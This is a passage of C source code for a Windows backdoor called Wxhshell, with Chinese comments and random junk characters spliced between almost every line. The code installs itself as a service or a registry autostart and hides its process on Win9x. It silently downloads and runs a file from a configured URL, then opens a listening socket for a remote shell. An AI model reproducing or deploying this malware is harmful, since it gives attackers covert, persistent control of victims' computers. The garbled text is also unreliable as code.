c2 CloseHandle(hProcess); uacVF[9|W , @6_sl hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eZRu{`AF* if(hProcess==NULL) return 0; 8~h.i1L If. hA} HMODULE hMod; 7ZpU -': char procName[255]; j&=!F3[ unsigned long cbNeeded; 80O[pf*? Z <tJ+ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V8J!8=2 +Tp>3Jh2 CloseHandle(hProcess); EWoGdH| KZTT2KsYl if(strstr(procName,"services")) return 1; // 以服务启动 SNf*2~uq) lA7\c# return 0; // 注册表启动 \RyW#[( } QW}N,j$ 'd=B{7k@ // 主模块 &r!*Y& int StartWxhshell(LPSTR lpCmdLine) '${xZrzmt { D&#ph%U,P SOCKET wsl; ^T/d34A;SP BOOL val=TRUE; w#`E;fN' int port=0; 1C\[n(9 struct sockaddr_in door; <al/>7z'
O ZZ{:f+=?$ if(wscfg.ws_autoins) Install(); #a"gW,/K m]:|j[!*M port=atoi(lpCmdLine); wloQk(T<W cYp]zn+6 if(port<=0) port=wscfg.ws_port; '0>w_ge4 2q.J1:lW WSADATA data; &8uq5uKg if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g)#neEA J (
RCQbI if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; seEG~/U< setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Aaq!i*y door.sin_family = AF_INET; u>o2lvy8 door.sin_addr.s_addr = inet_addr("127.0.0.1"); Vi1=
E]) door.sin_port = htons(port); rXlJW]i BliL1"". if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z-,'M tD closesocket(wsl); k~ZE4^dM return 1; 9.qjEe } zQQ=8#] p$
%D if(listen(wsl,2) == INVALID_SOCKET) { ACcxQK} closesocket(wsl); V/}g'_E return 1; z<c@<M=Q* } ZkZTCb`/l Wxhshell(wsl); 48 `k"Uy WSACleanup(); 6{p]cr c31k%/. return 0; m#a0HH X!%CYmIRb } 4:p+C-gs |+Fko8- // 以NT服务方式启动 w8df-]r VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L^zF@n^5A { >F~]r$G DWORD status = 0; Eh&et0&=g DWORD specificError = 0xfffffff; -mlBr63Bj +84JvOkWi serviceStatus.dwServiceType = SERVICE_WIN32; Z&!5'_9{V serviceStatus.dwCurrentState = SERVICE_START_PENDING; >Hq)1o serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2.zx serviceStatus.dwWin32ExitCode = 0; vf+GC*f serviceStatus.dwServiceSpecificExitCode = 0; [80L|?, * serviceStatus.dwCheckPoint = 0; 3~7X2}qU serviceStatus.dwWaitHint = 0;
mPy=,xYyC 9fyJw1 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2/K38t'- if (hServiceStatusHandle==0) return; ?,J'3nZ' hqA6%Y^k status = GetLastError(); "r Bb2. if (status!=NO_ERROR) `c zL$tN<P { }&Gt&Hm>K serviceStatus.dwCurrentState = SERVICE_STOPPED; G:HPd.ay serviceStatus.dwCheckPoint = 0; qd=&*? serviceStatus.dwWaitHint = 0; O|opNr serviceStatus.dwWin32ExitCode = status; f?OFMac serviceStatus.dwServiceSpecificExitCode = specificError; -Q6njt& SetServiceStatus(hServiceStatusHandle, &serviceStatus); c 5&
_'& return; 2aef[TY } -^i[ bF5 mCR: serviceStatus.dwCurrentState = SERVICE_RUNNING; F aOfe] F serviceStatus.dwCheckPoint = 0; Hp2ysU serviceStatus.dwWaitHint = 0; iB =R if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %QW1?VVP } y6bl&_ biJ"@dm
4 // 处理NT服务事件,比如:启动、停止 L{py\4z'_ VOID WINAPI NTServiceHandler(DWORD fdwControl) Flrpk`4 { .</`# switch(fdwControl) 3]=j!_yJf { bG`aF*10)! case SERVICE_CONTROL_STOP: MCBZq\c serviceStatus.dwWin32ExitCode = 0; `*5_`^t
serviceStatus.dwCurrentState = SERVICE_STOPPED; 1'O++j_%y serviceStatus.dwCheckPoint = 0; _sEkKh8x serviceStatus.dwWaitHint = 0; .DzFtc { Ifghyh<d SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8U98`#
i } yMdE[/+3 return; 9~
[Sio~ case SERVICE_CONTROL_PAUSE: N,Fmu serviceStatus.dwCurrentState = SERVICE_PAUSED; 5%+M:B
break; Sn(e@|!G case SERVICE_CONTROL_CONTINUE: 8.9Z0 serviceStatus.dwCurrentState = SERVICE_RUNNING; z}>q/!q break; 6FYO5=R case SERVICE_CONTROL_INTERROGATE: : MfY8P) break; %XX(x'^4 }; ID/=YG@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2U;6sn*e } =UGyZV:z5 4<j)1i=A // 标准应用程序主函数 kx6AMx!nX int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZCP
r`H { fl8~*\;Xu M0+xl+c+ // 获取操作系统版本 4 f)B@A- OsIsNt=GetOsVer(); g4Y1*`}2f GetModuleFileName(NULL,ExeFile,MAX_PATH); m?Tv8-1 C`4m# // 从命令行安装 %rU8^'Gu if(strpbrk(lpCmdLine,"iI")) Install(); d) i:-#Q (gdi2 // 下载执行文件 >iZ"#1ZL2O if(wscfg.ws_downexe) { [{}Hk%wlX if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fD^$ y
8 WinExec(wscfg.ws_filenam,SW_HIDE); 7gX#^YkE+k } +v!%z( Zb p+b; if(!OsIsNt) { RM\A$.5 // 如果时win9x,隐藏进程并且设置为注册表启动 })v`` + HideProc(); )=~OP>7B StartWxhshell(lpCmdLine); c#-o@`Po } rKhhx else 0|a ,bwZ if(StartFromService()) v[++"=<
o8 // 以服务方式启动 XfYMv38( StartServiceCtrlDispatcher(DispatchTable); (qG}`?219J else n(#| // 普通方式启动 M<nKk#!+h StartWxhshell(lpCmdLine); fJiY~mQ VLdQXNg9W" return 0; @N
tiT,3k }
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